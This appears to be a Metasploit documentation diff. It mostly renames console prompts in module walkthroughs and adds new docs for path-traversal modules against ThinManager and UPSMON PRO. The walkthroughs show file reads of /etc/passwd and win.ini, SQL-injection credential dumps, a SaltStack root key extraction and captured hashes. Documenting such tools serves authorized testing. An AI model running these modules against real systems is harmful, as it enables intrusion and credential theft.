10.10.10.10 [+] Token Value: JDGak0VjivacBBT9FVJbN4eqaelDHLX0 diff --git a/documentation/modules/auxiliary/gather/saltstack_salt_root_key.md b/documentation/modules/auxiliary/gather/saltstack_salt_root_key.md index c0abe112aae03..83f3994a9ca87 100644 --- a/documentation/modules/auxiliary/gather/saltstack_salt_root_key.md +++ b/documentation/modules/auxiliary/gather/saltstack_salt_root_key.md @@ -74,8 +74,8 @@ method and extracting the key from the resulting serialized auth info. ### SaltStack Salt 2019.2.3 on Ubuntu 18.04 ``` -msf5 > use auxiliary/gather/saltstack_salt_root_key -msf5 auxiliary(gather/saltstack_salt_root_key) > options +msf > use auxiliary/gather/saltstack_salt_root_key +msf auxiliary(gather/saltstack_salt_root_key) > options Module options (auxiliary/gather/saltstack_salt_root_key): @@ -92,9 +92,9 @@ Auxiliary action: Dump Dump root key from Salt master -msf5 auxiliary(gather/saltstack_salt_root_key) > set rhosts 172.28.128.5 +msf auxiliary(gather/saltstack_salt_root_key) > set rhosts 172.28.128.5 rhosts => 172.28.128.5 -msf5 auxiliary(gather/saltstack_salt_root_key) > run +msf auxiliary(gather/saltstack_salt_root_key) > run [*] Running module against 172.28.128.5 [*] 172.28.128.5:4506 - Connecting to ZeroMQ service at 172.28.128.5:4506 @@ -114,7 +114,7 @@ msf5 auxiliary(gather/saltstack_salt_root_key) > run [+] 172.28.128.5:4506 - Root key: bv2Ra72DXzkrbFVYNPHrOe9CqM2aKBdl+E46/m/kaxvDsiLxhG+0PS55u704MyOi2/PgD/EadGk= [*] 172.28.128.5:4506 - Disconnecting from 172.28.128.5:4506 [*] Auxiliary module execution completed -msf5 auxiliary(gather/saltstack_salt_root_key) > creds +msf auxiliary(gather/saltstack_salt_root_key) > creds Credentials =========== @@ -122,5 +122,5 @@ host origin service public private ---- ------ ------- ------ ------- ----- ------------ ---------- 172.28.128.5 172.28.128.5 4506/tcp (salt/zeromq) root bv2Ra72DXzkrbFVYNPHrOe9CqM2aKBdl+E46/m/kaxvDsiLxhG+0PS55u704MyOi2/PgD/EadGk= Password -msf5 auxiliary(gather/saltstack_salt_root_key) > +msf auxiliary(gather/saltstack_salt_root_key) > ``` diff --git a/documentation/modules/auxiliary/gather/selenium_file_read.md b/documentation/modules/auxiliary/gather/selenium_file_read.md index d066ecfe7a117..181cb79b30932 100644 --- a/documentation/modules/auxiliary/gather/selenium_file_read.md +++ b/documentation/modules/auxiliary/gather/selenium_file_read.md @@ -56,8 +56,8 @@ executed. Defaults to 75 seconds. ## Scenarios ### selenium/standalone-firefox:3.141.59 installed with Docker on Ubuntu 24.04 ``` -msf6 > use auxiliary/gather/selenium_file_read -msf6 auxiliary(gather/selenium_file_read) > options +msf > use auxiliary/gather/selenium_file_read +msf auxiliary(gather/selenium_file_read) > options Module options (auxiliary/gather/selenium_file_read): @@ -76,7 +76,7 @@ Module options (auxiliary/gather/selenium_file_read): View the full module info with the info, or info -d command. -msf6 auxiliary(gather/selenium_file_read) > run rhost=192.168.56.16 rport=4445 +msf auxiliary(gather/selenium_file_read) > run rhost=192.168.56.16 rport=4445 [*] Running module against 192.168.56.16 [*] Running automatic check ("set AutoCheck false" to disable) [+] The target appears to be vulnerable. Version 3.141.59 detected @@ -115,7 +115,7 @@ pulse:x:106:107:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin ### selenium/standalone-firefox:4.0.0-alpha-6-20200730 installed with Docker on Ubuntu 24.04 ``` -msf6 auxiliary(gather/selenium_file_read) > run rhost=192.168.56.16 rport=4446 +msf auxiliary(gather/selenium_file_read) > run rhost=192.168.56.16 rport=4446 [*] Running module against 192.168.56.16 [*] Running automatic check ("set AutoCheck false" to disable) [!] The service is running, but could not be validated. Selenium Grid version 4.x detected and ready. @@ -153,7 +153,7 @@ pulse:x:105:106:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin ### selenium/standalone-firefox:4.6 installed with Docker on Ubuntu 24.04 ``` -msf6 auxiliary(gather/selenium_file_read) > run rhost=192.168.56.16 rport=4447 +msf auxiliary(gather/selenium_file_read) > run rhost=192.168.56.16 rport=4447 [*] Running module against 192.168.56.16 [*] Running automatic check ("set AutoCheck false" to disable) [!] The service is running, but could not be validated. Selenium Grid version 4.x detected and ready. @@ -192,7 +192,7 @@ pulse:x:106:107:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin ### selenium/standalone-firefox:4.27.0 installed with Docker on Ubuntu 24.04 ``` -msf6 auxiliary(gather/selenium_file_read) > run rhost=192.168.56.16 rport=4448 +msf auxiliary(gather/selenium_file_read) > run rhost=192.168.56.16 rport=4448 [*] Running module against 192.168.56.16 [*] Running automatic check ("set AutoCheck false" to disable) [!] The service is running, but could not be validated. Selenium Grid version 4.x detected and ready. @@ -228,7 +228,7 @@ pulse:x:101:102:PulseAudio daemon,,,:/run/pulse:/usr/sbin/nologin ### selenium/standalone-chrome:4.27.0 installed with Docker on Ubuntu 24.04 ``` -msf6 auxiliary(gather/selenium_file_read) > run rhost=192.168.56.16 rport=4453 BROWSER=chrome +msf auxiliary(gather/selenium_file_read) > run rhost=192.168.56.16 rport=4453 BROWSER=chrome [*] Running module against 192.168.56.16 [*] Running automatic check ("set AutoCheck false" to disable) [!] The service is running, but could not be validated. Selenium Grid version 4.x detected and ready. @@ -264,7 +264,7 @@ pulse:x:101:102:PulseAudio daemon,,,:/run/pulse:/usr/sbin/nologin ### selenium/standalone-edge:4.27.0 installed with Docker on Ubuntu 24.04 ``` -msf6 auxiliary(gather/selenium_file_read) > run rhost=192.168.56.16 rport=4454 BROWSER=MicrosoftEdge +msf auxiliary(gather/selenium_file_read) > run rhost=192.168.56.16 rport=4454 BROWSER=MicrosoftEdge [*] Running module against 192.168.56.16 [*] Running automatic check ("set AutoCheck false" to disable) [!] The service is running, but could not be validated. Selenium Grid version 4.x detected and ready. diff --git a/documentation/modules/auxiliary/gather/shodan_host.md b/documentation/modules/auxiliary/gather/shodan_host.md index db093ad683149..7f18f97a891c1 100644 --- a/documentation/modules/auxiliary/gather/shodan_host.md +++ b/documentation/modules/auxiliary/gather/shodan_host.md @@ -33,8 +33,8 @@ In order for this module to function properly, a Shodan API key is needed. You c Running the module against a real system (in this case, the Google DNS server): ``` -msf6 > use auxiliary/gather/shodan_host -msf6 auxiliary(gather/shodan_host) > show options +msf > use auxiliary/gather/shodan_host +msf auxiliary(gather/shodan_host) > show options Module options (auxiliary/gather/shodan_host): @@ -44,23 +44,23 @@ Module options (auxiliary/gather/shodan_host): RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:' SHODAN_APIKEY yes The SHODAN API key -msf6 auxiliary(gather/shodan_host) > set RHOSTS 8.8.8.8 +msf auxiliary(gather/shodan_host) > set RHOSTS 8.8.8.8 RHOSTS => 8.8.8.8 -msf6 auxiliary(gather/shodan_host) > set SHODAN_APIKEY *redacted* +msf auxiliary(gather/shodan_host) > set SHODAN_APIKEY *redacted* SHODAN_APIKEY => *redacted* -msf6 auxiliary(gather/shodan_host) > run +msf auxiliary(gather/shodan_host) > run [*] Running module against 8.8.8.8 [+] 8.8.8.8:53 [*] Auxiliary module execution completed -msf6 auxiliary(gather/shodan_host) > +msf auxiliary(gather/shodan_host) > ``` ### Domain Name ``` -msf6 > use auxiliary/gather/shodan_host -msf6 auxiliary(gather/shodan_host) > show options +msf > use auxiliary/gather/shodan_host +msf auxiliary(gather/shodan_host) > show options Module options (auxiliary/gather/shodan_host): @@ -70,11 +70,11 @@ Module options (auxiliary/gather/shodan_host): RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:' SHODAN_APIKEY yes The SHODAN API key -msf6 auxiliary(gather/shodan_host) > set RHOSTS www.google.com +msf auxiliary(gather/shodan_host) > set RHOSTS www.google.com RHOSTS => www.google.com -msf6 auxiliary(gather/shodan_host) > set SHODAN_APIKEY *redacted* +msf auxiliary(gather/shodan_host) > set SHODAN_APIKEY *redacted* SHODAN_APIKEY => *redacted* -msf6 auxiliary(gather/shodan_host) > run +msf auxiliary(gather/shodan_host) > run [*] Running module against 172.217.12.36 [+] 172.217.12.36:80 @@ -82,5 +82,5 @@ msf6 auxiliary(gather/shodan_host) > run [*] Running module against 2607:f8b0:4000:815::2004 [-] The target IP address has not been scanned by Shodan! [*] Auxiliary module execution completed -msf6 auxiliary(gather/shodan_host) > -``` \ No newline at end of file +msf auxiliary(gather/shodan_host) > +``` diff --git a/documentation/modules/auxiliary/gather/solarwinds_servu_fileread_cve_2024_28995.md b/documentation/modules/auxiliary/gather/solarwinds_servu_fileread_cve_2024_28995.md index fedc1790798a1..886a15ee82070 100644 --- a/documentation/modules/auxiliary/gather/solarwinds_servu_fileread_cve_2024_28995.md +++ b/documentation/modules/auxiliary/gather/solarwinds_servu_fileread_cve_2024_28995.md @@ -57,18 +57,18 @@ on both Linux and Windows, the value for this is 4. (default: 4). ### A vulnerable Linux target ``` -msf6 auxiliary(gather/solarwinds_servu_fileread_cve_2024_28995) > set RHOST 192.168.86.43 +msf auxiliary(gather/solarwinds_servu_fileread_cve_2024_28995) > set RHOST 192.168.86.43 RHOST => 192.168.86.43 -msf6 auxiliary(gather/solarwinds_servu_fileread_cve_2024_28995) > set RPORT 443 +msf auxiliary(gather/solarwinds_servu_fileread_cve_2024_28995) > set RPORT 443 RPORT => 443 -msf6 auxiliary(gather/solarwinds_servu_fileread_cve_2024_28995) > set SSL true +msf auxiliary(gather/solarwinds_servu_fileread_cve_2024_28995) > set SSL true [!] Changing the SSL option's value may require changing RPORT! SSL => true -msf6 auxiliary(gather/solarwinds_servu_fileread_cve_2024_28995) > set STORE_LOOT false +msf auxiliary(gather/solarwinds_servu_fileread_cve_2024_28995) > set STORE_LOOT false STORE_LOOT => false -msf6 auxiliary(gather/solarwinds_servu_fileread_cve_2024_28995) > set TARGETFILE /etc/passwd +msf auxiliary(gather/solarwinds_servu_fileread_cve_2024_28995) > set TARGETFILE /etc/passwd TARGETFILE => /etc/passwd -msf6 auxiliary(gather/solarwinds_servu_fileread_cve_2024_28995) > show options +msf auxiliary(gather/solarwinds_servu_fileread_cve_2024_28995) > show options Module options (auxiliary/gather/solarwinds_servu_fileread_cve_2024_28995): @@ -87,9 +87,9 @@ Module options (auxiliary/gather/solarwinds_servu_fileread_cve_2024_28995): View the full module info with the info, or info -d command. -msf6 auxiliary(gather/solarwinds_servu_fileread_cve_2024_28995) > check +msf auxiliary(gather/solarwinds_servu_fileread_cve_2024_28995) > check [+] 192.168.86.43:443 - The target is vulnerable. SolarWinds Serv-U version 15.4.2.126 (Linux 64-bit; Version: 6.5.0-15-generic) -msf6 auxiliary(gather/solarwinds_servu_fileread_cve_2024_28995) > run +msf auxiliary(gather/solarwinds_servu_fileread_cve_2024_28995) > run [*] Running module against 192.168.86.43 [*] Running automatic check ("set AutoCheck false" to disable) @@ -146,22 +146,22 @@ fwupd-refresh:x:129:137:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin xrdp:x:130:138::/run/xrdp:/usr/sbin/nologin [*] Auxiliary module execution completed -msf6 auxiliary(gather/solarwinds_servu_fileread_cve_2024_28995) > +msf auxiliary(gather/solarwinds_servu_fileread_cve_2024_28995) > ``` ### A vulnerable Windows target ``` -msf6 auxiliary(gather/solarwinds_servu_fileread_cve_2024_28995) > set RHOST 192.168.86.68 +msf auxiliary(gather/solarwinds_servu_fileread_cve_2024_28995) > set RHOST 192.168.86.68 RHOST => 192.168.86.68 -msf6 auxiliary(gather/solarwinds_servu_fileread_cve_2024_28995) > set RPORT 80 +msf auxiliary(gather/solarwinds_servu_fileread_cve_2024_28995) > set RPORT 80 RPORT => 80 -msf6 auxiliary(gather/solarwinds_servu_fileread_cve_2024_28995) > set SSL false +msf auxiliary(gather/solarwinds_servu_fileread_cve_2024_28995) > set SSL false [!] Changing the SSL option's value may require changing RPORT! SSL => false -msf6 auxiliary(gather/solarwinds_servu_fileread_cve_2024_28995) > set TARGETFILE c:\\\\Windows\\win.ini +msf auxiliary(gather/solarwinds_servu_fileread_cve_2024_28995) > set TARGETFILE c:\\\\Windows\\win.ini TARGETFILE => c:\\Windows\win.ini -msf6 auxiliary(gather/solarwinds_servu_fileread_cve_2024_28995) > show options +msf auxiliary(gather/solarwinds_servu_fileread_cve_2024_28995) > show options Module options (auxiliary/gather/solarwinds_servu_fileread_cve_2024_28995): @@ -180,9 +180,9 @@ Module options (auxiliary/gather/solarwinds_servu_fileread_cve_2024_28995): View the full module info with the info, or info -d command. -msf6 auxiliary(gather/solarwinds_servu_fileread_cve_2024_28995) > check +msf auxiliary(gather/solarwinds_servu_fileread_cve_2024_28995) > check [+] 192.168.86.68:80 - The target is vulnerable. SolarWinds Serv-U version 15.4.2.126 (Windows Server 2012 64-bit; Version: 6.2.9200) -msf6 auxiliary(gather/solarwinds_servu_fileread_cve_2024_28995) > run +msf auxiliary(gather/solarwinds_servu_fileread_cve_2024_28995) > run [*] Running module against 192.168.86.68 [*] Running automatic check ("set AutoCheck false" to disable) @@ -197,5 +197,5 @@ msf6 auxiliary(gather/solarwinds_servu_fileread_cve_2024_28995) > run MAPI=1 [*] Auxiliary module execution completed -msf6 auxiliary(gather/solarwinds_servu_fileread_cve_2024_28995) > +msf auxiliary(gather/solarwinds_servu_fileread_cve_2024_28995) > ``` diff --git a/documentation/modules/auxiliary/gather/solarwinds_webhelpdesk_backdoor.md b/documentation/modules/auxiliary/gather/solarwinds_webhelpdesk_backdoor.md index a708a6f199e17..38ae09447c824 100644 --- a/documentation/modules/auxiliary/gather/solarwinds_webhelpdesk_backdoor.md +++ b/documentation/modules/auxiliary/gather/solarwinds_webhelpdesk_backdoor.md @@ -20,9 +20,9 @@ Installation instructions are available [here] 2. Start `msfconsole` and run the following commands: ``` -msf6 > use auxiliary/gather/solarwinds_webhelpdesk_backdoor -msf6 auxiliary(gather/solarwinds_webhelpdesk_backdoor) > set RHOSTS -msf6 auxiliary(gather/solarwinds_webhelpdesk_backdoor) > run +msf > use auxiliary/gather/solarwinds_webhelpdesk_backdoor +msf auxiliary(gather/solarwinds_webhelpdesk_backdoor) > set RHOSTS +msf auxiliary(gather/solarwinds_webhelpdesk_backdoor) > run ``` This should return all the tickets from the Web Help Desk platform. @@ -37,7 +37,7 @@ The number of tickets to dump to the terminal. Running the exploit against Web Help Desk v12.8.1 on Windows 22H2 should result in an output similar to the following: ``` -msf6 auxiliary(gather/solarwinds_webhelpdesk_backdoor) > run +msf auxiliary(gather/solarwinds_webhelpdesk_backdoor) > run [*] Running module against 192.168.217.145 [*] Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/auxiliary/gather/splunk_raw_server_info.md b/documentation/modules/auxiliary/gather/splunk_raw_server_info.md index 7b0b7f64130a4..980a35ff18ca6 100644 --- a/documentation/modules/auxiliary/gather/splunk_raw_server_info.md +++ b/documentation/modules/auxiliary/gather/splunk_raw_server_info.md @@ -35,8 +35,8 @@ the service (via website) for the instance to be exploitable. Splunk can be star ### Splunk 6.5.5 ``` -msf6 > use auxiliary/gather/splunk_raw_server_info -msf6 auxiliary(gather/splunk_raw_server_info) > exploit +msf > use auxiliary/gather/splunk_raw_server_info +msf auxiliary(gather/splunk_raw_server_info) > exploit [*] Running module against 127.0.0.1 [+] Output saved to ~/.msf4/loot/20231220130955_default_127.0.0.1_splunk.system.st_442957.bin diff --git a/documentation/modules/auxiliary/gather/suite_crm_export_sqli.md b/documentation/modules/auxiliary/gather/suite_crm_export_sqli.md index ceeaf09fc9e5f..2559911f6464e 100644 --- a/documentation/modules/auxiliary/gather/suite_crm_export_sqli.md +++ b/documentation/modules/auxiliary/gather/suite_crm_export_sqli.md @@ -125,8 +125,8 @@ The following setup was installed on Ubuntu 20.04: ### SuiteCRM 7.12.5 Bitnami Docker Image ``` -msf6 payload(windows/x64/meterpreter/reverse_tcp) > use auxiliary/gather/suite_crm_export_sqli -msf6 auxiliary(gather/suite_crm_export_sqli) > show options +msf payload(windows/x64/meterpreter/reverse_tcp) > use auxiliary/gather/suite_crm_export_sqli +msf auxiliary(gather/suite_crm_export_sqli) > show options Module options (auxiliary/gather/suite_crm_export_sqli): @@ -150,19 +150,19 @@ Auxiliary action: Dump credentials Dumps usernames and passwords from the users table -msf6 auxiliary(gather/suite_crm_export_sqli) > set USERNAME user +msf auxiliary(gather/suite_crm_export_sqli) > set USERNAME user USERNAME => user -msf6 auxiliary(gather/suite_crm_export_sqli) > set PASSWORD bitnami +msf auxiliary(gather/suite_crm_export_sqli) > set PASSWORD bitnami PASSWORD => bitnami -msf6 auxiliary(gather/suite_crm_export_sqli) > set RHOSTS 127.0.0.1 +msf auxiliary(gather/suite_crm_export_sqli) > set RHOSTS 127.0.0.1 RHOSTS => 127.0.0.1 -msf6 auxiliary(gather/suite_crm_export_sqli) > check +msf auxiliary(gather/suite_crm_export_sqli) > check [*] Authenticating as user [+] Authenticated as: user [*] Version detected: 7.12.5 [+] 127.0.0.1:80 - The target is vulnerable. -msf6 auxiliary(gather/suite_crm_export_sqli) > run +msf auxiliary(gather/suite_crm_export_sqli) > run [*] Running module against 127.0.0.1 [*] Running automatic check ("set AutoCheck false" to disable) @@ -191,5 +191,5 @@ SuiteCRM User Credentials user $2y$10$O83wcCVEfY7GKo//dbQwwOFOevfLFnhpP4d9n98HmGM2YPxJZqMhO [*] Auxiliary module execution completed -msf6 auxiliary(gather/suite_crm_export_sqli) > -``` \ No newline at end of file +msf auxiliary(gather/suite_crm_export_sqli) > +``` diff --git a/documentation/modules/auxiliary/gather/thinmanager_traversal_download.md b/documentation/modules/auxiliary/gather/thinmanager_traversal_download.md new file mode 100644 index 0000000000000..03f9cd8a1a5e2 --- /dev/null +++ b/documentation/modules/auxiliary/gather/thinmanager_traversal_download.md @@ -0,0 +1,69 @@ +## Vulnerable Application + +This module exploits a path traversal vulnerability in ThinManager <= v13.0.1 (CVE-2023-27856) to download an arbitrary file from the +system. + +The affected service listens by default on TCP port 2031 and runs in the context of NT AUTHORITY\SYSTEM. + +**Limitation**: Some files may get mangled by the application during transit. + +## Testing + +The software can be obtained from +[the vendor](https://thinmanager.com/downloads/). + +**Successfully tested on** + +- ThinManager v13.0.1 on Windows 22H2 +- ThinManager v13.0.0 on Windows 22H2 +- ThinManager v12.1.5 on Windows 22H2 +- ThinManager v11.1.4 on Windows 22H2 +- ThinManager v10.0.2 on Windows 22H2 + +## Verification Steps + +1. Install and run the application +2. Start `msfconsole` and run the following commands: + +``` +msf > use auxiliary/gather/thinmanager_traversal_download +msf auxiliary(gather/thinmanager_traversal_download) > set RHOSTS +msf auxiliary(gather/thinmanager_traversal_download) > set FILE +msf auxiliary(gather/thinmanager_traversal_download) > run +``` + +This should retrieve the file as specified through FILE from the remote server. + +## Options + +### FILE +The file to download from the remote server. + +## Scenarios + +Running the exploit against ThinManager v13.0.1 on Windows 22H2 should result in an output similar to the following: + +``` +msf auxiliary(gather/thinmanager_traversal_download) > run +[*] Running module against 192.168.137.227 + +[*] 192.168.137.227:2031 - Running automatic check ("set AutoCheck false" to disable) +[!] 192.168.137.227:2031 - The service is running, but could not be validated. +[*] 192.168.137.227:2031 - Sending handshake... +[*] 192.168.137.227:2031 - Received handshake response. +[*] 192.168.137.227:2031 - Requesting /Windows/win.ini from 192.168.137.227 +[+] 192.168.137.227:2031 - Received response from target. +[*] 192.168.137.227:2031 - File saved as loot: /home/asdf/.msf4/loot/20250506150022_default_192.168.137.227_thinmanager.file_334213.txt +[*] Auxiliary module execution completed + +msf auxiliary(gather/thinmanager_traversal_download) > cat /home/asdf/.msf4/loot/20250506150027_default_192.168.137.227_thinmanager.file_381967.txt +[*] exec: cat /home/asdf/.msf4/loot/20250506150027_default_192.168.137.227_thinmanager.file_381967.txt + +; for 16-bit app support +[fonts] +[extensions] +[mci extensions] +[files] +[Mail] +MAPI=1 +``` diff --git a/documentation/modules/auxiliary/gather/tplink_archer_c7_traversal.md b/documentation/modules/auxiliary/gather/tplink_archer_c7_traversal.md index 5c08ee32f3dc9..37f8e0982d06b 100644 --- a/documentation/modules/auxiliary/gather/tplink_archer_c7_traversal.md +++ b/documentation/modules/auxiliary/gather/tplink_archer_c7_traversal.md @@ -25,10 +25,10 @@ Use this option to save the file found as loot ### Archer C7_V1_141204_US ``` -msf6 > use auxiliary/gather/tplink_archer_c7_traversal -msf6 auxiliary(gather/tplink_archer_c7_traversal) > set rhosts 192.168.0.1 +msf > use auxiliary/gather/tplink_archer_c7_traversal +msf auxiliary(gather/tplink_archer_c7_traversal) > set rhosts 192.168.0.1 rhosts => 192.168.0.1 -msf6 auxiliary(gather/tplink_archer_c7_traversal) > run +msf auxiliary(gather/tplink_archer_c7_traversal) > run [*] Running module against 192.168.0.1 [*] Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/auxiliary/gather/upsmon_traversal.md b/documentation/modules/auxiliary/gather/upsmon_traversal.md new file mode 100644 index 0000000000000..125c759c83214 --- /dev/null +++ b/documentation/modules/auxiliary/gather/upsmon_traversal.md @@ -0,0 +1,86 @@ +## Vulnerable Application + +This module exploits a path traversal vulnerability in UPSMON PRO <= v2.61 (CVE-2022-38120) to read arbitrary files from the system. +By default, the configuration file will be retrieved, which contains the credentials (CVE-2022-38121) for the web service, mail server, +application, and SMS service. +However, any arbitrary file can be specified. + +## Testing + +The software can be obtained from +[the vendor](https://www.upspowercom.com/PRO-Windows.jsp). + +The web server is disabled by default and needs to be enabled first. In the menu, go to Configuration > UPS Connect, and enable the Web +Server checkbox. +By default, the server listens on TCP port 8000 on all network interfaces and runs in the context of NT AUTHORITY\SYSTEM. + +**Successfully tested on** + +- UPSMON PRO v2.61 on Windows 22H2 +- UPSMON PRO v2.57 on Windows 22H2 + +## Verification Steps + +1. Install and run the application +2. Enable the Web Server module +3. Start `msfconsole` and run the following commands: + +``` +msf > use auxiliary/gather/upsmon_traversal +msf auxiliary(gather/upsmon_traversal) > set RHOSTS +msf auxiliary(gather/upsmon_traversal) > run +``` + +This should return the UPSMON PRO configuration file, UPSMON.ini, which contains various cleartext credentials. Any files retrieved will +be stored as loot. + +## Options + +### FILE +The file to be retrieved from the file system. By default, this is the UPSMON PRO configuration file, UPSMON.ini. However, any arbitrary +file can be specified. + +Example: /Users/Public/UPSMON-Pro/UPSMON.ini + +### DEPTH +The traversal depth. The FILE path will be prepended with ../ * DEPTH. + +## Scenarios + +Running the exploit against v2.61 on Windows 22H22 should result in an output similar to the following: + +``` +msf auxiliary(gather/upsmon_traversal) > run +[*] Running module against 192.168.137.218 + +[*] Running automatic check ("set AutoCheck false" to disable) +[!] The service is running, but could not be validated. +[+] File retrieved: ../../../../Users/Public/UPSMON-Pro/UPSMON.ini +[*] UPSMON.ini specified, parsing credentials: +[*] SMTP: (not configured) +[*] Port: 25 +[*] Email UserName: (not configured) +[*] Email Password: (not configured) +[*] WebServer UserName: UPSMON +[*] WebServer Password: UPSMON +[*] Main AppPassword: UPSMON +[*] SMS UserName: (not configured) +[*] SMS Password: (not configured) +[*] UPS Name: (not configured) +[*] Phone Number: (not configured) +[*] File saved as loot. +[*] Auxiliary module execution completed +``` + +The file will be stored as loot: + +``` +msf auxiliary(gather/upsmon_traversal) > loot + +Loot +==== + +host service type name content info path +---- ------- ---- ---- ------- ---- ---- +192.168.137.218 upsmonpro.file /USERS/public/upsmon-pro/upsmon.ini text/plain File retrieved through UPSMON PRO path traversal. /home/foo/.msf4/loot/20250502145519_default_192.168.137.218_upsmonpro.file_396058.txt +``` diff --git a/documentation/modules/auxiliary/gather/vbulletin_getindexablecontent_sqli.md b/documentation/modules/auxiliary/gather/vbulletin_getindexablecontent_sqli.md index 639d3a163caad..1a06d02a88c82 100644 --- a/documentation/modules/auxiliary/gather/vbulletin_getindexablecontent_sqli.md +++ b/documentation/modules/auxiliary/gather/vbulletin_getindexablecontent_sqli.md @@ -59,13 +59,13 @@ The base URI path of vBulletin. **Default: /** ## Scenarios ``` -msf5 auxiliary(gather/vbulletin_getindexablecontent_sqli) > set RHOSTS 192.168.1.100 +msf auxiliary(gather/vbulletin_getindexablecontent_sqli) > set RHOSTS 192.168.1.100 RHOSTS => 192.168.1.100 -msf5 auxiliary(gather/vbulletin_getindexablecontent_sqli) > set VHOST vb.local +msf auxiliary(gather/vbulletin_getindexablecontent_sqli) > set VHOST vb.local VHOST => vb.local -msf5 auxiliary(gather/vbulletin_getindexablecontent_sqli) > set TARGETURI / +msf auxiliary(gather/vbulletin_getindexablecontent_sqli) > set TARGETURI / TARGETURI => /vb5 -msf5 auxiliary(gather/vbulletin_getindexablecontent_sqli) > show actions +msf auxiliary(gather/vbulletin_getindexablecontent_sqli) > show actions Auxiliary actions: @@ -74,7 +74,7 @@ Auxiliary actions: DumpAll Dump all tables used by vbulletin. DumpUser Dump only user table used by vbulletin. -msf5 auxiliary(gather/vbulletin_getindexablecontent_sqli) > run +msf auxiliary(gather/vbulletin_getindexablecontent_sqli) > run [*] Running module against 192.168.1.100 [*] Brute forcing to find a valid node id. diff --git a/documentation/modules/auxiliary/gather/vmware_vcenter_vmdir_ldap.md b/documentation/modules/auxiliary/gather/vmware_vcenter_vmdir_ldap.md index 538a3bcf7b787..1b32eaef295be 100644 --- a/documentation/modules/auxiliary/gather/vmware_vcenter_vmdir_ldap.md +++ b/documentation/modules/auxiliary/gather/vmware_vcenter_vmdir_ldap.md @@ -6,7 +6,7 @@ This module uses an anonymous-bind LDAP connection to dump data from the vmdir service in VMware vCenter Server version 6.7 prior to the 6.7U3f update, only if upgraded from a previous release line, such as 6.0 or 6.5. -If the bind username and password are provided (BIND_DN and BIND_PW +If the bind username and password are provided (BIND_DN and LDAPPassword options), these credentials will be used instead of attempting an anonymous bind. @@ -36,18 +36,33 @@ If you already have the LDAP base DN, you may set it in this option. ### VMware vCenter Server 6.7 virtual appliance on ESXi ``` -msf5 > use auxiliary/gather/vmware_vcenter_vmdir_ldap -msf5 auxiliary(gather/vmware_vcenter_vmdir_ldap) > options +msf auxiliary(gather/vmware_vcenter_vmdir_ldap) > show options - Name Current Setting Required Description - ---- --------------- -------- ----------- - BASE_DN no LDAP base DN if you already have it - DOMAIN no The domain to authenticate to - PASSWORD no The password to authenticate with - RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html - RPORT 636 yes The target port - SSL true no Enable SSL on the LDAP connection - USERNAME no The username to authenticate with +Module options (auxiliary/gather/vmware_vcenter_vmdir_ldap): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + BASE_DN no LDAP base DN if you already have it + SSL true no Enable SSL on the LDAP connection + + + Used when connecting via an existing SESSION: + + Name Current Setting Required Description + ---- --------------- -------- ----------- + SESSION no The session to run this module on + + + Used when making a new connection via RHOSTS: + + Name Current Setting Required Description + ---- --------------- -------- ----------- + LDAPDomain no The domain to authenticate to + LDAPPassword no The password to authenticate with + LDAPUsername no The username to authenticate with + RHOSTS no The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using- + metasploit.html + RPORT 636 no The target port Auxiliary action: @@ -57,9 +72,11 @@ Auxiliary action: Dump Dump all LDAP data -msf5 auxiliary(gather/vmware_vcenter_vmdir_ldap) > set rhosts [redacted] + +View the full module info with the info, or info -d command. +msf auxiliary(gather/vmware_vcenter_vmdir_ldap) > set rhosts [redacted] rhosts => [redacted] -msf5 auxiliary(gather/vmware_vcenter_vmdir_ldap) > run +msf auxiliary(gather/vmware_vcenter_vmdir_ldap) > run [*] Running module against [redacted] not verifying SSL hostname of LDAPS server '[redacted]:636' @@ -98,5 +115,5 @@ vmwpasswordprohibitedpreviouscount: [redacted] [+] Credentials found: [redacted] [snip] [*] Auxiliary module execution completed -msf5 auxiliary(gather/vmware_vcenter_vmdir_ldap) > +msf auxiliary(gather/vmware_vcenter_vmdir_ldap) > ``` diff --git a/documentation/modules/auxiliary/gather/windows_secrets_dump.md b/documentation/modules/auxiliary/gather/windows_secrets_dump.md index b0a94e59012fc..429d549c56fe3 100644 --- a/documentation/modules/auxiliary/gather/windows_secrets_dump.md +++ b/documentation/modules/auxiliary/gather/windows_secrets_dump.md @@ -90,7 +90,7 @@ sensitive information. ### Windows Server 2012 (Domain Controller) ``` -msf6 auxiliary(gather/windows_secrets_dump) > options +msf auxiliary(gather/windows_secrets_dump) > options Module options (auxiliary/gather/windows_secrets_dump): @@ -110,7 +110,7 @@ Auxiliary action: ALL Dump everything -msf6 auxiliary(gather/windows_secrets_dump) > run +msf auxiliary(gather/windows_secrets_dump) > run [*] Running module against 192.168.100.123 [*] 192.168.100.123:445 - Service RemoteRegistry is in stopped state diff --git a/documentation/modules/auxiliary/gather/wp_bookingpress_category_services_sqli.md b/documentation/modules/auxiliary/gather/wp_bookingpress_category_services_sqli.md index ee6daad6b1cdf..ccf8024786bc1 100644 --- a/documentation/modules/auxiliary/gather/wp_bookingpress_category_services_sqli.md +++ b/documentation/modules/auxiliary/gather/wp_bookingpress_category_services_sqli.md @@ -131,12 +131,12 @@ this is worth a shot if you are having issues. ## Scenarios ### Booking Press 1.0.10, WordPress Running Via Docksal, Ubuntu 20.04 ``` -msf6 > use gather/wp_bookingpress_category_services_sqli -msf6 auxiliary(gather/wp_bookingpress_category_services_sqli) > set rhosts localhost +msf > use gather/wp_bookingpress_category_services_sqli +msf auxiliary(gather/wp_bookingpress_category_services_sqli) > set rhosts localhost rhosts => localhost -msf6 auxiliary(gather/wp_bookingpress_category_services_sqli) > set rport 8000 +msf auxiliary(gather/wp_bookingpress_category_services_sqli) > set rport 8000 rport => 8000 -msf6 auxiliary(gather/wp_bookingpress_category_services_sqli) > run +msf auxiliary(gather/wp_bookingpress_category_services_sqli) > run [*] Running automatic check ("set AutoCheck false" to disable) [+] The target is vulnerable. @@ -153,9 +153,9 